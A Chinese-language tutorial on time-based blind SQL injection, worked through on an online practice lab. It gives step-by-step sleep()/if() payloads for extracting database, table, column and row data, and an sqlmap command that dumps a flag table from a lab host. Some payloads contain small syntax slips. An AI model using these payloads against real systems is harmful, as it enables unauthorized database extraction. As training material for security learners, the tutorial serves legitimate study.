您当前的位置:首页 > 计算机 > 安全防护

学习延时盲注看这一篇就够了

时间:10-09来源:作者:点击数:

前言

延时注入又称时间盲注,也是盲注的一种。通过构造延时注入语句后,浏览器页面的响应时间来判断正确的数据

应用场景:当布尔盲注失效的情况下,这个时候可以通过and sleep(5)来判断一下页面的响应时间,相应时间在五秒多一点的话,说明此处可以使用延时注入。

在实际测试中禁止使用延时盲注,因为会影响厂商的实际业务运行,当年某人注入了一个sleep(10)后,就被请去喝茶了,建议不要轻易使用延时盲注。

延时盲注常用函数

substr(database(),1,1)数据库名称中截取 从第一位开始截取 截取长度为1

ascii() 返回字符串最左边字符的ASCII值

if(语句1,语句2,语句3) 如果语句1正确执行语句2,否则执行语句3

延时盲注实战

墨者靶场:SQL注入漏洞测试(时间盲注)_SQL注入_在线靶场_墨者学院 https://www.mozhe.cn/bug/detail/ZEZ4REhOck9KMnVKMjFLTitQWFg5dz09bW96aGUmozhe

测试注入点

常规思路

1.测速单引号,网页没有报错信息,放弃联合查询的方式

2.测试布尔盲注,网页没有false,true的变化

3.测试延时盲注

延时注入的测试效果检查可以在浏览器右击检查可以看到数据包的返回时长来验证是否发生了延时

1.判断是否存在延时注入 及 注入类型判断
?id=1' and sleep(5) --+ 根据休眠时间判断
如果延时五秒,说明注入类型是字符型

2.判断数据库的长度
and if (length(database))>数值,sleep(5),1) #是否大于10

3.判断第一个字符是什么
and if(ascii(substr(database(),1,1))>数值,sleep(5),1) #是否是字母
确定他的ascii值是多少,对应一个字符

4.确定表的数量
and if((select count(table_name) from information_schema.tables where table_schema = database())=数值,sleep(5),1)

5.确定第一个表名的长度
and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=数值,sleep(5),1)

6.判断第一个表名的第一个字符
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>数值,sleep(5),1)

7.判断当前表有多少个字段
and if(length((select count(column_name) from information_schema.columns where table_schema=database() and table_name = ‘表名’ limit 0,1))=数值,sleep(5),1) --+

8.判断第一个字段的长度
and if(length((select column_name from information_schema.columns where table_schema =database() and table_name=‘表名’ limit 0,1) ,1,1)) =数值,sleep(5),1)

9.判断第一个字段的第一个字符
if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1))=数值,sleep(5),1)

10.根据以上信息查询数据
判断数据长度
and if(length((select 字段名 from 表名 limit 0,1))=数值,sleep(5),1)–+
判断数据的字符
and if(ascii(substr((select 字段名 from 表名 limit 0,1),1))=数值,sleep(5),1

这个过程测试起来是很麻烦的,建议使用SQLMap进行测试

python sqlmap.py -u "http://124.70.71.251:45379/flag.php?type=1" --batch -D pentesterlab -T flag -C flag,id --dump

总结

时间盲注适合在布尔注入都失效的情况,结合sleep,if(,,)基于数据包返回时间测试的方法。

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门